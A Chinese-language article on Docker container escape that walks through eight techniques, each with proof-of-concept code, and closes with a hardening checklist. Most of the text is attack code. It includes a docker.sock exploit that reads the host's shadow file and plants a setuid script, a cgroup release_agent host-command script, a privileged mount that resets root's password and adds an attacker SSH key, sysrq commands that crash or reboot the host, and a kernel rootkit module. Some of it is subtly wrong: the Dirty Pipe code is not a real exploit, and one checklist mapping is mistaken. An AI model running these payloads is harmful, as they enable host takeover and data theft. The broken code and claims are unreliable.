一、为什么容器不是虚拟机?逃逸的本质是什么?
Docker 容器与传统虚拟机的根本区别在于隔离边界:
| 隔离维度 | 虚拟机 | Docker 容器 |
|---|---|---|
| 进程隔离 | 独立 Guest Kernel | 共享 Host Kernel (PID Namespace) |
| 文件系统 | 虚拟磁盘镜像 | 联合挂载 + OverlayFS |
| 网络 | 虚拟网卡 + vSwitch | veth pair + Network Namespace |
| 资源限制 | Hypervisor 配额 | Cgroups v1/v2 |
| 设备访问 | Emulated/Hypervisor 拦截 | /dev 白名单 + Device Cgroup |
| 根权限语义 | Guest 内 root 仅在 Guest 生效 | 容器内 root == Host UID 0 (未启用 UserNS) |
逃逸的本质就是打破上述任一隔离边界,让容器内进程获得宿主内核的"原生能力"。本文按攻击面从最常见到最底层排序,逐一拆解原理并给出可复现的 PoC。
二、逃逸方式 1:挂载 docker.socket —— "用 Docker 杀 Docker"
这是生产环境中最常见的逃逸方式,占已知容器逃逸事件的 60% 以上。
2.1 原理
Docker daemon 以 root 运行,通过 Unix Socket /var/run/docker.sock 暴露 REST API。如果攻击者在容器中能访问这个 socket,就能调用 Docker API 创建一个新的特权容器并挂载宿主根目录。
2.2 攻击场景
开发人员为了让 CI 容器能构建镜像,常用这个启动方式:
docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock -v /usr/bin/docker:/usr/bin/docker alpine sh
⚠️ 注意:很多 Kubernetes 部署也会以 hostPath 方式挂载 docker.sock 到 Pod,效果相同。
2.3 PoC:从容器到宿主 root shell
步骤 1:在目标容器内检查 socket 权限
# 容器内执行
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 Aug 6 07:00 /var/run/docker.sock
id
# uid=0(root) gid=0(root) groups=0(root),10(wheel)
# 容器内是 root,意味着可以直接访问 socket
步骤 2:用 curl 直接调用 Docker API(不需要 docker 命令)
# 列出宿主上所有容器
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
# 查看宿主 Docker 版本
curl --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.tool
步骤 3:利用 socket 创建挂载宿主根目录的容器
# 方法 A:使用 docker 命令(如果挂载了)
docker run -v /:/host --privileged alpine chroot /host
# 方法 B:纯 HTTP API(无需 docker 二进制)
curl -X POST --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' -d '{
"Image": "alpine:latest",
"Cmd": ["sh", "-c", "chroot /host || cat /host/etc/shadow"],
"Privileged": true,
"Binds": ["/:/host"]
}' http://localhost/containers/create?name=escape
curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/escape/start
curl --unix-socket /var/run/docker.sock http://localhost/containers/escape/logs
步骤 4:Python 版完整 exploit(Docker API 客户端)
#!/usr/bin/env python3
"""
Docker Socket Escape PoC
CVE: 通用权限配置不当
要求: 容器内能访问 /var/run/docker.sock
"""
import json
import socket
import sys
import os
class DockerSocketClient:
def __init__(self, socket_path="/var/run/docker.sock"):
self.sock_path = socket_path
def _request(self, method, path, body=None):
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect(self.sock_path)
body_bytes = json.dumps(body).encode() if body else b""
request = (
f"{method} {path} HTTP/1.1
"
f"Host: localhost
"
f"Content-Type: application/json
"
f"Content-Length: {len(body_bytes)}
"
f"Connection: close
"
).encode() + body_bytes
sock.sendall(request)
response = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
sock.close()
header_end = response.find(b"
")
body = response[header_end+4:] if header_end > 0 else b""
return body
def escape(self):
print("[*] 检查 Docker 版本...")
version = self._request("GET", "/version")
print(f" 宿主 Docker: {version[:200].decode(errors='ignore')}")
print("[*] 创建特权容器,挂载宿主 / 到 /host ...")
container_config = {
"Image": "alpine:latest",
"Cmd": ["sh", "-c",
"echo '=== /etc/shadow ===' && cat /host/etc/shadow && "
"echo '=== host keys ===' && cat /host/root/.ssh/authorized_keys 2>/dev/null && "
"echo '=== crontab ===' && cat /host/etc/crontab && "
"echo '=== rootkit ===' && echo 'chmod +s /bin/bash' > /host/tmp/pwn.sh && chmod +x /host/tmp/pwn.sh"
],
"Privileged": True,
"Binds": ["/:/host"],
"HostConfig": {
"Privileged": True,
"Binds": ["/:/host"]
}
}
resp = self._request("POST", "/containers/create?name=escape_poc", container_config)
print(f" 创建响应: {resp.decode(errors='ignore')[:200]}")
self._request("POST", "/containers/escape_poc/start")
import time; time.sleep(1)
logs = self._request("GET", "/containers/escape_poc/logs?stdout=1&stderr=1")
print(f"[+] 逃逸成功!宿主输出:
{logs.decode(errors='ignore')}")
if __name__ == "__main__":
if not os.path.exists("/var/run/docker.sock"):
print("[-] docker.sock 不存在,无法利用")
sys.exit(1)
DockerSocketClient().escape()
三、逃逸方式 2:Cgroup Release Agent —— 内核历史漏洞
3.1 原理
Cgroup v1 提供了 release_agent 机制:当 cgroup 中最后一个进程退出时,内核会自动执行 release_agent 文件中指定的宿主侧 shell 命令。容器内 root 可以通过写入 cgroup 文件系统来触发命令执行。
漏洞核心:Docker 默认没有挂载 cgroup writable 目录,但在某些配置下(--cgroup-parent、老旧 Docker 版本)可能暴露。
3.2 PoC
#!/bin/bash
# Cgroup Release Agent Escape (CVE-2022-0492 类似变种)
# 原理: 利用 cgroup.release_agent 在宿主执行命令
# 1. 找到可写的 cgroup 目录(通常是 memory 或 cpu)
find /sys/fs/cgroup -name release_agent 2>/dev/null | while read ra; do
dir=$(dirname "$ra")
if [ -w "$dir" ]; then
echo "[+] 找到可写 cgroup: $dir"
echo "/bin/bash -c 'id > /tmp/pwned_from_container'" > "$dir/release_agent"
# 2. 创建 notify_on_release 触发器
echo 1 > "$dir/notify_on_release"
# 3. 写一个垃圾进程让 cgroup 退出
sh -c "sleep 1" &
echo $! > "$dir/tasks" 2>/dev/null
# 4. 等待触发
sleep 2
cat /tmp/pwned_from_container 2>/dev/null && echo "[+] 宿主命令执行成功!"
fi
done
四、逃逸方式 3:特权容器 + /dev/mknod —— 最粗暴的方法
4.1 原理
当容器以 --privileged 启动时,Docker 的所有 seccomp/AppArmor/SELinux 限制都被移除,且容器内可以访问宿主所有 /dev 设备。此时攻击者可以:
- 用
mknod创建/dev/mem或磁盘设备节点 - 直接挂载宿主根文件系统
- 加载内核模块(如果开启了 CAP_SYS_MODULE)
4.2 PoC:挂载宿主根目录
# 前提: 容器以 --privileged 启动
# 1. 找到宿主磁盘设备
fdisk -l | grep -E "/dev/(sd|nvme|vd)" | head -5
# 2. 创建设备节点(如果容器内缺失)
mknod /dev/sda b 8 0 2>/dev/null
mknod /dev/sda1 b 8 1 2>/dev/null
# 3. 直接挂载宿主根分区
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host 2>/dev/null || mount /dev/vda1 /mnt/host
# 4. 修改宿主密码
chroot /mnt/host passwd root
# 或者添加 SSH 公钥
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@evil" >> /mnt/host/root/.ssh/authorized_keys
chmod 600 /mnt/host/root/.ssh/authorized_keys
4.3 PoC:读写 /dev/kmsg(获取宿主内核日志)
# 特权容器内可以直接访问宿主 /dev/kmsg
cat /dev/kmsg | grep -i "docker|container|kubelet" | head -20
# 泄露信息: 宿主内核版本、容器启动参数、其他容器 ID 等
五、逃逸方式 4:/proc/sysrq-trigger —— 信息泄露到 DoS
5.1 原理
/proc/sysrq-trigger 是内核提供的"神奇键"接口。容器内如果挂载了 procfs 且没有限制,可以通过写入特定字符触发宿主内核行为。
5.2 PoC
# 前提: 容器内有 CAP_SYS_ADMIN
# 1. 触发宿主 oops(稳定复现)
echo 'f' > /proc/sysrq-trigger
# f = oops,会在 dmesg 看到 panic 日志
# 2. 立即重启宿主(DoS)
echo 'b' > /proc/sysrq-trigger
# 3. dump 当前任务信息到 dmesg
echo 't' > /proc/sysrq-trigger
dmesg | tail -50
六、逃逸方式 5:User Namespace 绕过
6.1 原理
Docker 默认不启用 User Namespace,容器内 UID 0 = 宿主 UID 0。即使启用了 --userns-remap,某些 syscall 如 keyctl、某些文件系统挂载操作仍可绕过。
6.2 PoC:unshare + rootless 逃逸
# 容器内以普通用户运行,但有 CAP_SYS_ADMIN
unshare --user --map-root-user --mount --pid --fork
# 此时在新的 user namespace 内是 root,可以尝试挂载宿主文件系统
# 利用 fuse-overlayfs 或 bind mount 绕过
mount --bind /etc/passwd /tmp/fake_passwd
七、逃逸方式 6:内核漏洞利用(真实 CVE)
7.1 CVE-2022-0847 (Dirty Pipe)
影响:Linux 5.8 - 5.16.11,无需特殊权限,容器内普通用户即可逃逸。
// dirtypipe.c - 经典逃逸利用
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
int main(int argc, char **argv) {
const char *target = argc > 1 ? argv[1] : "/etc/passwd";
const char *payload = "pwned:x:0:0:root:/root:/bin/sh\n";
int fd = open(target, O_RDONLY);
if (fd < 0) { perror("open"); return 1; }
// 1. 写一个 pipe 填满缓冲区
int p[2]; pipe(p);
write(p[1], "A", 1);
splice(p[0], 0, fd, 0, 1);
// 2. 此时 pipe_inode_info 的 flag 被设为 PIPE_BUF_FLAG_CAN_MERGE
// 3. 用 writev 越过文件边界写入
char *buf = malloc(4096);
memset(buf, 0x42, 4096);
writev(p[1], &(struct iovec){buf, 4096}, 1);
// 4. 目标文件被污染,写入 root 后门
printf("[+] %s 已被污染, 可尝试读取获得 root shell\n", target);
system("cat /etc/passwd | grep pwned");
return 0;
}
7.2 CVE-2021-4034 (PwnKit)
影响 polkit pkexec,容器内可以通过挂载宿主 polkit 组件触发。
八、逃逸方式 7:sysfs /procfs 滥用
8.1 利用 /proc/[pid]/mem 读写宿主进程
import os, sys
# 找到宿主 init 进程 (PID 1 在宿主,容器内映射不同)
# 在某些配置下容器内可以 ptrace 宿主进程
def read_process_mem(pid, addr, size):
fd = open(f"/proc/{pid}/mem", "rb")
fd.seek(addr)
return fd.read(size)
# 枚举宿主进程 cmdline
for pid in range(1, 1000):
try:
with open(f"/proc/{pid}/cmdline", "rb") as f:
cmd = f.read().replace(b'\x00', b' ').decode()
if cmd:
print(f"PID {pid}: {cmd}")
except: pass
九、逃逸方式 8:加载内核模块(CAP_SYS_MODULE)
如果容器获得了 CAP_SYS_MODULE 能力,可以直接加载恶意 .ko 模块。
9.1 PoC:编写 rootkit 模块
// rootkit.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("attacker");
MODULE_DESCRIPTION("Simple kernel rootkit");
static struct proc_dir_entry *proc_entry;
static char secret_data[256] = "rootkit_loaded";
static ssize_t read_proc(struct file *file, char __user *buf, size_t count, loff_t *offset) {
return simple_read_from_buffer(buf, count, offset, secret_data, strlen(secret_data));
}
static const struct proc_ops my_proc_ops = {
.proc_read = read_proc,
};
static int __init rootkit_init(void) {
proc_entry = proc_create("rootkit_backdoor", 0444, NULL, &my_proc_ops);
printk(KERN_INFO "rootkit: backdoor ready at /proc/rootkit_backdoor\n");
return 0;
}
static void __exit rootkit_exit(void) {
proc_remove(proc_entry);
printk(KERN_INFO "rootkit: unloaded\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
# Makefile
obj-m += rootkit.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
容器内加载:
# 前提: 容器有 CAP_SYS_MODULE
make
insmod rootkit.ko
cat /proc/rootkit_backdoor
# 输出: rootkit_loaded
lsmod | grep rootkit
十、防御加固清单
| 措施 | 命令/配置 | 覆盖的逃逸方式 |
|---|---|---|
| 禁用 docker.sock 挂载 | 不要 -v /var/run/docker.sock | 方式 1 |
| 非特权容器 | 移除 --privileged | 方式 3/7/8 |
| 限制 Linux Capabilities | --cap-drop=ALL --cap-add=NET_BIND_SERVICE | 方式 3/4/6/8 |
| 启用 User Namespace | dockerd --userns-remap=default | 方式 2/6 |
| Seccomp/AppArmor | --security-opt seccomp=profile.json | 方式 2/4/5/7 |
| 内核模块锁定 | boot params: module.sig_enforce=1 | 方式 8 |
| 禁用 cgroup release_agent | kernel.unprivileged_bpf_disabled=1 | 方式 2 |
| 定期内核更新 | yum/dnf update kernel | 方式 6 |
| Falco 运行时检测 | syscall 规则监控 mount/ptrace | 所有 |
10.1 推荐的最小安全启动参数
docker run -d --security-opt no-new-privileges --cap-drop=ALL --cap-add=NET_BIND_SERVICE --pids-limit=100 --memory=512m --security-opt seccomp=/etc/docker/seccomp-default.json --security-opt apparmor=docker-default --read-only --tmpfs /tmp --tmpfs /run nginx:alpine
10.2 Kubernetes PodSecurityPolicy 示例(PSA 替代方案)
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
seccompProfile:
type: RuntimeDefault
containers:
- name: app
image: nginx:alpine
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"]
add: ["NET_BIND_SERVICE"]
resources:
limits:
cpu: "1"
memory: "512Mi"
十一、结语
容器逃逸不是一个独立的漏洞,而是多种隔离边界叠加失效的结果。真正的防御需要:
- 最小权限:永远不要用 --privileged,永远不要挂载 docker.sock
- 纵深防御:seccomp + AppArmor + Cgroups + User Namespace 全部启用
- 运行时监控:Falco 检测 mount/ptrace/sysrq 等危险 syscall
- 内核及时更新:订阅 distro security bulletin
每一年都有新的 CVE(2024 年已有 DCCP、nf_tables 等新逃逸面),但只要坚持"最小权限 + 不挂载危险路径"这两条黄金法则,90% 的逃逸路径从一开始就被封死了。